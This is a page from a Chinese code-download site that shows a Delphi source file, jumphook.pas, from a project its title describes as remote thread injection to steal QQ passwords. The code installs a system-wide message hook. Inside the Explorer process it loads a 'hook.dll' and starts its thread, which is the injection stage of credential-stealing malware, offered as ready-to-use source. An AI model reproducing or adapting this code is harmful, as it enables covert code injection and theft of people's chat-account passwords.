⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 jumphook.pas

📁 远程线程注入获取QQ密码远程线程注入获取QQ密码
💻 PAS
字号:
unit  JumpHook;

interface

procedure GetMsgHookOn;
procedure GetMsgHookOff;

implementation

uses
  Windows, publics,messages,sysutils;


var
  GetMsgHook: Longword;
  LibraryH: Longword;    
  ThreadPt: Pointer;
  ThreadID: Longword=0;


function GetMsgHookPro(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
  if (TheNodeP<>nil)and(TheNodeP^.ExplorerID<>0)and
     (GetCurrentProcessId=TheNodeP^.ExplorerID)then   
  begin
    LibraryH := LoadLibrary(Pchar(TheNodeP^.MainPath+'hook.dll'));
    try
      if (LibraryH <> 0) then
        ThreadPt := GetProcAddress(LibraryH, 'ThreadPro');
      if (ThreadPt <> nil)and(threadid=0) then
        CreateThread(nil, 0, ThreadPt, nil, 0, ThreadID);
    except
      freelibrary(libraryh);
    end;
  end;
  Result:= CallNextHookEx(GetMsgHook, nCode, wParam, lParam);
end;

procedure GetMsgHookOn;
begin
  GetMsgHook := SetWindowsHookEx(WH_GETMESSAGE, @GetMsgHookPro,
                                  HInstance, 0);
end;

procedure GetMsgHookOff;
begin
  UnHookWindowsHookEx(GetMsgHook);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -